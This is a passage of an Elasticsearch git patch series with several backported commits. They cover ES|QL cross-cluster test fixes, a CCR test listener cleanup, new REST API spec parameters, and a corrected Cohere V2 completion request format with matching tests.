             EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, indexResolution);
 
             EsqlExecutionInfo.Cluster localCluster = executionInfo.getCluster(LOCAL_CLUSTER_ALIAS);
@@ -430,8 +429,8 @@ public void testUpdateExecutionInfoWithClustersWithNoMatchingIndices() {
 
             // remote1 is unavailable
             var failure = new FieldCapabilitiesFailure(new String[] { "logs-a" }, new NoSeedNodeLeftException("unable to connect"));
-            Map<String, FieldCapabilitiesFailure> unavailableClusters = Map.of(REMOTE1_ALIAS, failure);
-            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), Set.of(), unavailableClusters);
+            var unavailableClusters = Map.of(REMOTE1_ALIAS, List.of(failure));
+            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), unavailableClusters);
 
             EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, indexResolution);
 
@@ -463,7 +462,9 @@ public void testDetermineUnavailableRemoteClusters() {
                 )
             );
 
-            Map<String, FieldCapabilitiesFailure> unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(failures);
+            Map<String, FieldCapabilitiesFailure> unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(
+                EsqlCCSUtils.groupFailuresPerCluster(failures)
+            );
             assertThat(unavailableClusters.keySet(), equalTo(Set.of("remote1", "remote2")));
         }
 
@@ -473,7 +474,8 @@ public void testDetermineUnavailableRemoteClusters() {
             failures.add(new FieldCapabilitiesFailure(new String[] { "remote2:mylogs1" }, new NoSuchRemoteClusterException("remote2")));
             failures.add(new FieldCapabilitiesFailure(new String[] { "remote2:mylogs1" }, new NoSeedNodeLeftException("no seed node")));
 
-            Map<String, FieldCapabilitiesFailure> unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(failures);
+            var groupedFailures = EsqlCCSUtils.groupFailuresPerCluster(failures);
+            Map<String, FieldCapabilitiesFailure> unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(groupedFailures);
             assertThat(unavailableClusters.keySet(), equalTo(Set.of("remote2")));
         }
 
@@ -487,7 +489,8 @@ public void testDetermineUnavailableRemoteClusters() {
                     new IllegalStateException("Unable to open any connections")
                 )
             );
-            Map<String, FieldCapabilitiesFailure> unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(failures);
+            var groupedFailures = EsqlCCSUtils.groupFailuresPerCluster(failures);
+            Map<String, FieldCapabilitiesFailure> unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(groupedFailures);
             assertThat(unavailableClusters.keySet(), equalTo(Set.of("remote2")));
         }
 
@@ -495,14 +498,16 @@ public void testDetermineUnavailableRemoteClusters() {
         {
             List<FieldCapabilitiesFailure> failures = new ArrayList<>();
             failures.add(new FieldCapabilitiesFailure(new String[] { "remote1:mylogs1" }, new RuntimeException("foo")));
-            Map<String, FieldCapabilitiesFailure> unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(failures);
+            var groupedFailures = EsqlCCSUtils.groupFailuresPerCluster(failures);
+            Map<String, FieldCapabilitiesFailure> unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(groupedFailures);
             assertThat(unavailableClusters.keySet(), equalTo(Set.of()));
         }
 
         // empty failures list
         {
             List<FieldCapabilitiesFailure> failures = new ArrayList<>();
-            Map<String, FieldCapabilitiesFailure> unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(failures);
+            var groupedFailures = EsqlCCSUtils.groupFailuresPerCluster(failures);
+            Map<String, FieldCapabilitiesFailure> unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(groupedFailures);
             assertThat(unavailableClusters.keySet(), equalTo(Set.of()));
         }
     }

From e6f318855f72509a237a8e312d2173700e350ec0 Mon Sep 17 00:00:00 2001
From: Nhat Nguyen <nhat.nguyen@elastic.co>
Date: Mon, 14 Jul 2025 19:48:29 -0700
Subject: [PATCH 145/299] Fix testStopQueryLocal (#131130) (#131141)

By default, ES|QL uses all workers in the esql_worker threadpool to
execute drivers on data nodes. If a node is both data and coordinator,
and all drivers are blocked by the allowEmitting latch, there are no
workers left to execute the final driver or fetch pages from remote
clusters. This can prevent remote clusters from being marked as
successful on the coordinator, even if they have completed. To avoid
this, we reserve at least one worker for the final driver and page
fetching. A single worker is enough, as these two tasks can be paused
and yielded.

Closes #121672

(cherry picked from commit b325f2b9438c4e116884aa34acdd791691e0299f)
---
 muted-tests.yml                               |  3 ---
 .../action/CrossClusterAsyncQueryStopIT.java  | 19 +++++++++++++++----
 2 files changed, 15 insertions(+), 7 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index e65553b0be8d2..ac685fd1548a9 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -216,9 +216,6 @@ tests:
 - class: org.elasticsearch.packaging.test.BootstrapCheckTests
   method: test20RunWithBootstrapChecks
   issue: https://github.com/elastic/elasticsearch/issues/124940
-- class: org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
-  method: testStopQueryLocal
-  issue: https://github.com/elastic/elasticsearch/issues/121672
 - class: org.elasticsearch.packaging.test.BootstrapCheckTests
   method: test10Install
   issue: https://github.com/elastic/elasticsearch/issues/124957
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java
index 37e6b0bb48404..9667b559ea6b0 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java
@@ -13,7 +13,10 @@
 import org.elasticsearch.logging.LogManager;
 import org.elasticsearch.logging.Logger;
 import org.elasticsearch.tasks.TaskInfo;
+import org.elasticsearch.transport.TransportService;
 import org.elasticsearch.xpack.core.async.AsyncStopRequest;
+import org.elasticsearch.xpack.esql.plugin.EsqlPlugin;
+import org.elasticsearch.xpack.esql.plugin.QueryPragmas;
 
 import java.util.Iterator;
 import java.util.List;
@@ -132,13 +135,21 @@ public void testStopQueryLocal() throws Exception {
 
         Tuple<Boolean, Boolean> includeCCSMetadata = randomIncludeCCSMetadata();
         boolean responseExpectMeta = includeCCSMetadata.v2();
-
-        final String asyncExecutionId = startAsyncQuery(
+        // By default, ES|QL uses all workers in the esql_worker threadpool to execute drivers on data nodes.
+        // If a node is both data and coordinator, and all drivers are blocked by the allowEmitting latch,
+        // there are no workers left to execute the final driver or fetch pages from remote clusters.
+        // This can prevent remote clusters from being marked as successful on the coordinator, even if they
+        // have completed. To avoid this, we reserve at least one worker for the final driver and page fetching.
+        // A single worker is enough, as these two tasks can be paused and yielded.
+        var threadpool = cluster(LOCAL_CLUSTER).getInstance(TransportService.class).getThreadPool();
+        int maxEsqlWorkers = threadpool.info(EsqlPlugin.ESQL_WORKER_THREAD_POOL_NAME).getMax();
+        LOGGER.info("--> Launching async query");
+        final String asyncExecutionId = startAsyncQueryWithPragmas(
             client(),
             "FROM blocking,*:logs-* | STATS total=sum(coalesce(const,v)) | LIMIT 1",
-            includeCCSMetadata.v1()
+            includeCCSMetadata.v1(),
+            Map.of(QueryPragmas.TASK_CONCURRENCY.getKey(), between(1, maxEsqlWorkers - 1))
         );
-
         try {
             // wait until we know that the local query against 'blocking' has started
             assertTrue(SimplePauseFieldPlugin.startEmitting.await(30, TimeUnit.SECONDS));

From 2c35e5cb9dccd502bd1289b05359dab88e952f86 Mon Sep 17 00:00:00 2001
From: Yang Wang <yang.wang@elastic.co>
Date: Tue, 15 Jul 2025 12:57:16 +1000
Subject: [PATCH 146/299] [Test] Ensure assertion run only once (#131174)
 (#131256)

The assertion runs inside the cluster state listener may run a second
time if the listener is not removed in time. It is possible that the
assertion no longer holds on the 2nd time due to cluster state changes.
There is no need to assert it more than once. This PR ensures assertion
runs only once by removing the listener right after it.

Resolves: #130274
---
 .../xpack/ccr/CcrRepositoryIT.java            | 54 ++++++++++---------
 1 file changed, 28 insertions(+), 26 deletions(-)

diff --git a/x-pack/plugin/ccr/src/internalClusterTest/java/org/elasticsearch/xpack/ccr/CcrRepositoryIT.java b/x-pack/plugin/ccr/src/internalClusterTest/java/org/elasticsearch/xpack/ccr/CcrRepositoryIT.java
index 7c47237d35bd5..6c56724a6f20a 100644
--- a/x-pack/plugin/ccr/src/internalClusterTest/java/org/elasticsearch/xpack/ccr/CcrRepositoryIT.java
+++ b/x-pack/plugin/ccr/src/internalClusterTest/java/org/elasticsearch/xpack/ccr/CcrRepositoryIT.java
@@ -21,6 +21,7 @@
 import org.elasticsearch.action.bulk.BulkRequestBuilder;
 import org.elasticsearch.action.get.GetResponse;
 import org.elasticsearch.action.index.IndexRequest;
+import org.elasticsearch.action.support.ActionTestUtils;
 import org.elasticsearch.action.support.ActiveShardCount;
 import org.elasticsearch.action.support.IndicesOptions;
 import org.elasticsearch.action.support.PlainActionFuture;
@@ -51,6 +52,7 @@
 import org.elasticsearch.snapshots.SnapshotId;
 import org.elasticsearch.snapshots.SnapshotShardSizeInfo;
 import org.elasticsearch.snapshots.SnapshotsInfoService;
+import org.elasticsearch.test.ClusterServiceUtils;
 import org.elasticsearch.test.transport.MockTransportService;
 import org.elasticsearch.transport.TransportActionProxy;
 import org.elasticsearch.transport.TransportService;
@@ -655,39 +657,39 @@ public void testCcrRepositoryFailsToFetchSnapshotShardSizes() throws Exception {
         try {
             final SnapshotsInfoService snapshotsInfoService = getFollowerCluster().getCurrentMasterNodeInstance(SnapshotsInfoService.class);
 
+            final ClusterService clusterService = getFollowerCluster().getCurrentMasterNodeInstance(ClusterService.class);
             final PlainActionFuture<Void> waitForAllShardSnapshotSizesFailures = new PlainActionFuture<>();
-            final ClusterStateListener listener = event -> {
-                if (RestoreInProgress.get(event.state()).isEmpty() == false && event.state().routingTable().hasIndex(followerIndex)) {
-                    try {
-                        final IndexRoutingTable indexRoutingTable = event.state().routingTable().index(followerIndex);
-                        // this assertBusy completes because the listener is added after the InternalSnapshotsInfoService
-                        // and ClusterService preserves the order of listeners.
-                        assertBusy(() -> {
-                            List<Long> sizes = indexRoutingTable.shardsWithState(ShardRoutingState.UNASSIGNED)
-                                .stream()
-                                .filter(shard -> shard.unassignedInfo().lastAllocationStatus() == AllocationStatus.FETCHING_SHARD_DATA)
-                                .sorted(Comparator.comparingInt(ShardRouting::getId))
-                                .map(shard -> snapshotsInfoService.snapshotShardSizes().getShardSize(shard))
-                                .filter(Objects::nonNull)
-                                .filter(size -> ShardRouting.UNAVAILABLE_EXPECTED_SHARD_SIZE == size)
-                                .collect(Collectors.toList());
-                            assertThat(sizes, hasSize(numberOfShards));
-                        });
-                        waitForAllShardSnapshotSizesFailures.onResponse(null);
-                    } catch (Exception e) {
-                        throw new AssertionError("Failed to retrieve all snapshot shard sizes", e);
-                    }
+            ClusterServiceUtils.addTemporaryStateListener(
+                clusterService,
+                state -> RestoreInProgress.get(state).isEmpty() == false && state.routingTable().hasIndex(followerIndex)
+            ).addListener(ActionTestUtils.assertNoFailureListener(ignore -> {
+                try {
+                    // This listener runs synchronously in the same thread so that clusterService.state() returns the same state
+                    // that satisfied the predicate.
+                    final IndexRoutingTable indexRoutingTable = clusterService.state().routingTable().index(followerIndex);
+                    // this assertBusy completes because the listener is added after the InternalSnapshotsInfoService
+                    // and ClusterService preserves the order of listeners.
+                    assertBusy(() -> {
+                        List<Long> sizes = indexRoutingTable.shardsWithState(ShardRoutingState.UNASSIGNED)
+                            .stream()
+                            .filter(shard -> shard.unassignedInfo().lastAllocationStatus() == AllocationStatus.FETCHING_SHARD_DATA)
+                            .sorted(Comparator.comparingInt(ShardRouting::getId))
+                            .map(shard -> snapshotsInfoService.snapshotShardSizes().getShardSize(shard))
+                            .filter(Objects::nonNull)
+                            .filter(size -> ShardRouting.UNAVAILABLE_EXPECTED_SHARD_SIZE == size)
+                            .collect(Collectors.toList());
+                        assertThat(sizes, hasSize(numberOfShards));
+                    });
+                    waitForAllShardSnapshotSizesFailures.onResponse(null);
+                } catch (Exception e) {
+                    throw new AssertionError("Failed to retrieve all snapshot shard sizes", e);
                 }
-            };
-
-            final ClusterService clusterService = getFollowerCluster().getCurrentMasterNodeInstance(ClusterService.class);
-            clusterService.addListener(listener);
+            }));
 
             logger.debug("--> creating follower index [{}]", followerIndex);
             followerClient().execute(PutFollowAction.INSTANCE, putFollow(leaderIndex, followerIndex, ActiveShardCount.NONE));
 
             waitForAllShardSnapshotSizesFailures.get(30L, TimeUnit.SECONDS);
-            clusterService.removeListener(listener);
 
             assertThat(simulatedFailures.get(), equalTo(numberOfShards));
 

From 95c89420234b1477d43e13f8c93f514bbc549544 Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Tue, 15 Jul 2025 11:24:33 +0400
Subject: [PATCH 147/299] Add missing query parameters to create rest-api-spec
 (#130717) (#131269)

---
 .../src/main/resources/rest-api-spec/api/create.json      | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/create.json b/rest-api-spec/src/main/resources/rest-api-spec/api/create.json
index 65cb0da4753cc..88b040d1dbee3 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/create.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/create.json
@@ -73,6 +73,14 @@
       "include_source_on_error": {
         "type": "boolean",
         "description": "True or false if to include the document source in the error message in case of parsing errors. Defaults to true."
+      },
+      "require_alias":{
+        "type":"boolean",
+        "description":"When true, requires destination to be an alias. Default is false"
+      },
+      "require_data_stream":{
+        "type":"boolean",
+        "description":"When true, requires destination to be a data stream (existing or to be created). Default is false"
       }
     },
     "body":{

From 4eeb0b3776611c57d5520e84685261c1264f8fda Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Tue, 15 Jul 2025 11:25:04 +0400
Subject: [PATCH 148/299] Add missing query parameters to eql.search
 rest-api-spec (#130719) (#131264)

---
 .../rest-api-spec/api/eql.search.json         | 25 +++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/eql.search.json b/rest-api-spec/src/main/resources/rest-api-spec/api/eql.search.json
index 0b1a7ad5a38d3..9164a15be4cc1 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/eql.search.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/eql.search.json
@@ -51,6 +51,31 @@
         "type":"boolean",
         "description":"Control whether a sequence query should return partial results or no results at all in case of shard failures. This option has effect only if [allow_partial_search_results] is true.",
         "default":false
+      },
+      "ccs_minimize_roundtrips":{
+        "type":"boolean",
+        "description":"Indicates whether network round-trips should be minimized as part of cross-cluster search requests execution",
+        "default":true
+      },
+      "ignore_unavailable":{
+        "type":"boolean",
+        "description":"Whether specified concrete indices should be ignored when unavailable (missing or closed)"
+      },
+      "allow_no_indices":{
+        "type":"boolean",
+        "description":"Whether to ignore if a wildcard indices expression resolves into no concrete indices. (This includes `_all` string or when no indices have been specified)"
+      },
+      "expand_wildcards":{
+        "type":"enum",
+        "options":[
+          "open",
+          "closed",
+          "hidden",
+          "none",
+          "all"
+        ],
+        "default":"open",
+        "description":"Whether to expand wildcard expression to concrete indices that are open, closed or both."
       }
     },
     "body":{

From 6b3e789d25191553d1e9abd756f5eee59724183b Mon Sep 17 00:00:00 2001
From: David Kyle <david.kyle@elastic.co>
Date: Tue, 15 Jul 2025 08:57:39 +0100
Subject: [PATCH 149/299] [ML] Fix request format for Cohere V2 completions
 (#131100)

Backports the following commits to 9.1: #131091
---
 .../application/CohereServiceUpgradeIT.java   | 162 ++++++++++++++++++
 .../services/cohere/request/CohereUtils.java  |   7 +-
 .../request/v1/CohereV1CompletionRequest.java |   2 +-
 .../request/v2/CohereV2CompletionRequest.java |   7 +-
 .../action/CohereActionCreatorTests.java      |   5 +-
 .../action/CohereCompletionActionTests.java   |   5 +-
 .../v2/CohereV2CompletionRequestTests.java    |   7 +-
 .../CohereCompletionResponseEntityTests.java  |  36 ++++
 8 files changed, 223 insertions(+), 8 deletions(-)

diff --git a/x-pack/plugin/inference/qa/rolling-upgrade/src/javaRestTest/java/org/elasticsearch/xpack/application/CohereServiceUpgradeIT.java b/x-pack/plugin/inference/qa/rolling-upgrade/src/javaRestTest/java/org/elasticsearch/xpack/application/CohereServiceUpgradeIT.java
index 9782d4881ac61..6191e83a7dca1 100644
--- a/x-pack/plugin/inference/qa/rolling-upgrade/src/javaRestTest/java/org/elasticsearch/xpack/application/CohereServiceUpgradeIT.java
+++ b/x-pack/plugin/inference/qa/rolling-upgrade/src/javaRestTest/java/org/elasticsearch/xpack/application/CohereServiceUpgradeIT.java
@@ -39,10 +39,12 @@ public class CohereServiceUpgradeIT extends InferenceUpgradeTestCase {
     // TODO: replace with proper test features
     private static final String COHERE_EMBEDDINGS_ADDED_TEST_FEATURE = "gte_v8.13.0";
     private static final String COHERE_RERANK_ADDED_TEST_FEATURE = "gte_v8.14.0";
+    private static final String COHERE_COMPLETIONS_ADDED_TEST_FEATURE = "gte_v8.15.0";
     private static final String COHERE_V2_API_ADDED_TEST_FEATURE = "inference.cohere.v2";
 
     private static MockWebServer cohereEmbeddingsServer;
     private static MockWebServer cohereRerankServer;
+    private static MockWebServer cohereCompletionsServer;
 
     private enum ApiVersion {
         V1,
@@ -60,12 +62,16 @@ public static void startWebServer() throws IOException {
 
         cohereRerankServer = new MockWebServer();
         cohereRerankServer.start();
+
+        cohereCompletionsServer = new MockWebServer();
+        cohereCompletionsServer.start();
     }
 
     @AfterClass
     public static void shutdown() {
         cohereEmbeddingsServer.close();
         cohereRerankServer.close();
+        cohereCompletionsServer.close();
     }
 
     @SuppressWarnings("unchecked")
@@ -326,6 +332,80 @@ private void assertRerank(String inferenceId) throws IOException {
         assertThat(inferenceMap.entrySet(), not(empty()));
     }
 
+    @SuppressWarnings("unchecked")
+    public void testCohereCompletions() throws IOException {
+        var completionsSupported = oldClusterHasFeature(COHERE_COMPLETIONS_ADDED_TEST_FEATURE);
+        assumeTrue("Cohere completions not supported", completionsSupported);
+
+        ApiVersion oldClusterApiVersion = oldClusterHasFeature(COHERE_V2_API_ADDED_TEST_FEATURE) ? ApiVersion.V2 : ApiVersion.V1;
+
+        final String oldClusterId = "old-cluster-completions";
+
+        if (isOldCluster()) {
+            // queue a response as PUT will call the service
+            cohereCompletionsServer.enqueue(new MockResponse().setResponseCode(200).setBody(completionsResponse(oldClusterApiVersion)));
+            put(oldClusterId, completionsConfig(getUrl(cohereCompletionsServer)), TaskType.COMPLETION);
+
+            var configs = (List<Map<String, Object>>) get(TaskType.COMPLETION, oldClusterId).get("endpoints");
+            assertThat(configs, hasSize(1));
+            assertEquals("cohere", configs.get(0).get("service"));
+            var serviceSettings = (Map<String, Object>) configs.get(0).get("service_settings");
+            assertThat(serviceSettings, hasEntry("model_id", "command"));
+        } else if (isMixedCluster()) {
+            var configs = (List<Map<String, Object>>) get(TaskType.COMPLETION, oldClusterId).get("endpoints");
+            assertThat(configs, hasSize(1));
+            assertEquals("cohere", configs.get(0).get("service"));
+            var serviceSettings = (Map<String, Object>) configs.get(0).get("service_settings");
+            assertThat(serviceSettings, hasEntry("model_id", "command"));
+        } else if (isUpgradedCluster()) {
+            // check old cluster model
+            var configs = (List<Map<String, Object>>) get(TaskType.COMPLETION, oldClusterId).get("endpoints");
+            var serviceSettings = (Map<String, Object>) configs.get(0).get("service_settings");
+            assertThat(serviceSettings, hasEntry("model_id", "command"));
+
+            final String newClusterId = "new-cluster-completions";
+            {
+                cohereCompletionsServer.enqueue(new MockResponse().setResponseCode(200).setBody(completionsResponse(oldClusterApiVersion)));
+                var inferenceMap = inference(oldClusterId, TaskType.COMPLETION, "some text");
+                assertThat(inferenceMap.entrySet(), not(empty()));
+                assertVersionInPath(cohereCompletionsServer.requests().getLast(), "chat", oldClusterApiVersion);
+            }
+            {
+                // new cluster uses the V2 API
+                cohereCompletionsServer.enqueue(new MockResponse().setResponseCode(200).setBody(completionsResponse(ApiVersion.V2)));
+                put(newClusterId, completionsConfig(getUrl(cohereCompletionsServer)), TaskType.COMPLETION);
+
+                cohereCompletionsServer.enqueue(new MockResponse().setResponseCode(200).setBody(completionsResponse(ApiVersion.V2)));
+                var inferenceMap = inference(newClusterId, TaskType.COMPLETION, "some text");
+                assertThat(inferenceMap.entrySet(), not(empty()));
+                assertVersionInPath(cohereCompletionsServer.requests().getLast(), "chat", ApiVersion.V2);
+            }
+
+            {
+                // new endpoints use the V2 API which require the model to be set
+                final String upgradedClusterNoModel = "upgraded-cluster-missing-model-id";
+                var jsonBody = Strings.format("""
+                    {
+                        "service": "cohere",
+                        "service_settings": {
+                            "url": "%s",
+                            "api_key": "XXXX"
+                        }
+                    }
+                    """, getUrl(cohereEmbeddingsServer));
+
+                var e = expectThrows(ResponseException.class, () -> put(upgradedClusterNoModel, jsonBody, TaskType.COMPLETION));
+                assertThat(
+                    e.getMessage(),
+                    containsString("Validation Failed: 1: The [service_settings.model_id] field is required for the Cohere V2 API.")
+                );
+            }
+
+            delete(oldClusterId);
+            delete(newClusterId);
+        }
+    }
+
     private String embeddingConfigByte(String url) {
         return embeddingConfigTemplate(url, "byte");
     }
@@ -451,4 +531,86 @@ private String rerankResponse() {
             """;
     }
 
+    private String completionsConfig(String url) {
+        return Strings.format("""
+            {
+                "service": "cohere",
+                "service_settings": {
+                    "api_key": "XXXX",
+                    "model_id": "command",
+                    "url": "%s"
+                }
+            }
+            """, url);
+    }
+
+    private String completionsResponse(ApiVersion version) {
+        return switch (version) {
+            case V1 -> v1CompletionsResponse();
+            case V2 -> v2CompletionsResponse();
+        };
+    }
+
+    private String v1CompletionsResponse() {
+        return """
+            {
+                "response_id": "some id",
+                "text": "result",
+                "generation_id": "some id",
+                "chat_history": [
+                    {
+                        "role": "USER",
+                        "message": "some input"
+                    },
+                    {
+                        "role": "CHATBOT",
+                        "message": "v1 response from the llm"
+                    }
+                ],
+                "finish_reason": "COMPLETE",
+                "meta": {
+                    "api_version": {
+                        "version": "1"
+                    },
+                    "billed_units": {
+                        "input_tokens": 4,
+                        "output_tokens": 191
+                    },
+                    "tokens": {
+                        "input_tokens": 70,
+                        "output_tokens": 191
+                    }
+                }
+            }
+            """;
+    }
+
+    private String v2CompletionsResponse() {
+        return """
+            {
+              "id": "c14c80c3-18eb-4519-9460-6c92edd8cfb4",
+              "finish_reason": "COMPLETE",
+              "message": {
+                "role": "assistant",
+                "content": [
+                  {
+                    "type": "text",
+                    "text": "v2 response from the LLM"
+                  }
+                ]
+              },
+              "usage": {
+                "billed_units": {
+                  "input_tokens": 1,
+                  "output_tokens": 2
+                },
+                "tokens": {
+                  "input_tokens": 3,
+                  "output_tokens": 4
+                }
+              }
+            }
+            """;
+    }
+
 }
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/cohere/request/CohereUtils.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/cohere/request/CohereUtils.java
index f512444c6d6a4..2d52a8a9dadbb 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/cohere/request/CohereUtils.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/cohere/request/CohereUtils.java
@@ -28,13 +28,16 @@ public class CohereUtils {
     public static final String DOCUMENTS_FIELD = "documents";
     public static final String EMBEDDING_TYPES_FIELD = "embedding_types";
     public static final String INPUT_TYPE_FIELD = "input_type";
-    public static final String MESSAGE_FIELD = "message";
+    public static final String V1_MESSAGE_FIELD = "message";
+    public static final String V2_MESSAGES_FIELD = "messages";
     public static final String MODEL_FIELD = "model";
     public static final String QUERY_FIELD = "query";
+    public static final String V2_ROLE_FIELD = "role";
     public static final String SEARCH_DOCUMENT = "search_document";
     public static final String SEARCH_QUERY = "search_query";
-    public static final String TEXTS_FIELD = "texts";
     public static final String STREAM_FIELD = "stream";
+    public static final String TEXTS_FIELD = "texts";
+    public static final String USER_FIELD = "user";
 
     public static Header createRequestSourceHeader() {
         return new BasicHeader(REQUEST_SOURCE_HEADER, ELASTIC_REQUEST_SOURCE);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/cohere/request/v1/CohereV1CompletionRequest.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/cohere/request/v1/CohereV1CompletionRequest.java
index 4fa4552dcd94d..0be1ba8d25f29 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/cohere/request/v1/CohereV1CompletionRequest.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/cohere/request/v1/CohereV1CompletionRequest.java
@@ -30,7 +30,7 @@ public CohereV1CompletionRequest(List<String> input, CohereCompletionModel model
     public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
         builder.startObject();
         // we only allow one input for completion, so always get the first one
-        builder.field(CohereUtils.MESSAGE_FIELD, input.getFirst());
+        builder.field(CohereUtils.V1_MESSAGE_FIELD, input.getFirst());
         if (getModelId() != null) {
             builder.field(CohereUtils.MODEL_FIELD, getModelId());
         }
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/cohere/request/v2/CohereV2CompletionRequest.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/cohere/request/v2/CohereV2CompletionRequest.java
index 028c4a0d486c0..1a8eae321ac77 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/cohere/request/v2/CohereV2CompletionRequest.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/cohere/request/v2/CohereV2CompletionRequest.java
@@ -29,8 +29,13 @@ public CohereV2CompletionRequest(List<String> input, CohereCompletionModel model
     @Override
     public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
         builder.startObject();
+        builder.startArray(CohereUtils.V2_MESSAGES_FIELD);
+        builder.startObject();
+        builder.field(CohereUtils.V2_ROLE_FIELD, CohereUtils.USER_FIELD);
         // we only allow one input for completion, so always get the first one
-        builder.field(CohereUtils.MESSAGE_FIELD, input.getFirst());
+        builder.field("content", input.getFirst());
+        builder.endObject();
+        builder.endArray();
         builder.field(CohereUtils.MODEL_FIELD, getModelId());
         builder.field(CohereUtils.STREAM_FIELD, isStreaming());
         builder.endObject();
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/action/CohereActionCreatorTests.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/action/CohereActionCreatorTests.java
index 88d26d5d7eef1..6438a328f9fcf 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/action/CohereActionCreatorTests.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/action/CohereActionCreatorTests.java
@@ -209,7 +209,10 @@ public void testCreate_CohereCompletionModel_WithModelSpecified() throws IOExcep
             assertThat(webServer.requests().get(0).getHeader(HttpHeaders.AUTHORIZATION), is("Bearer secret"));
 
             var requestMap = entityAsMap(webServer.requests().get(0).getBody());
-            assertThat(requestMap, is(Map.of("message", "abc", "model", "model", "stream", false)));
+            assertThat(
+                requestMap,
+                is(Map.of("messages", List.of(Map.of("role", "user", "content", "abc")), "model", "model", "stream", false))
+            );
         }
     }
 }
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/action/CohereCompletionActionTests.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/action/CohereCompletionActionTests.java
index 78b8b7bdeaf3e..6c5128956fc9b 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/action/CohereCompletionActionTests.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/action/CohereCompletionActionTests.java
@@ -132,7 +132,10 @@ public void testExecute_ReturnsSuccessfulResponse_WithModelSpecified() throws IO
             );
 
             var requestMap = entityAsMap(webServer.requests().get(0).getBody());
-            assertThat(requestMap, is(Map.of("message", "abc", "model", "model", "stream", false)));
+            assertThat(
+                requestMap,
+                is(Map.of("messages", List.of(Map.of("role", "user", "content", "abc")), "model", "model", "stream", false))
+            );
         }
     }
 
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/request/v2/CohereV2CompletionRequestTests.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/request/v2/CohereV2CompletionRequestTests.java
index 2fb51ca8ca457..6003a58bf0340 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/request/v2/CohereV2CompletionRequestTests.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/request/v2/CohereV2CompletionRequestTests.java
@@ -46,7 +46,10 @@ public void testCreateRequest() throws IOException {
         assertThat(httpPost.getLastHeader(CohereUtils.REQUEST_SOURCE_HEADER).getValue(), is(CohereUtils.ELASTIC_REQUEST_SOURCE));
 
         var requestMap = entityAsMap(httpPost.getEntity().getContent());
-        assertThat(requestMap, is(Map.of("message", "abc", "model", "required model id", "stream", false)));
+        assertThat(
+            requestMap,
+            is(Map.of("messages", List.of(Map.of("role", "user", "content", "abc")), "model", "required model id", "stream", false))
+        );
     }
 
     public void testDefaultUrl() {
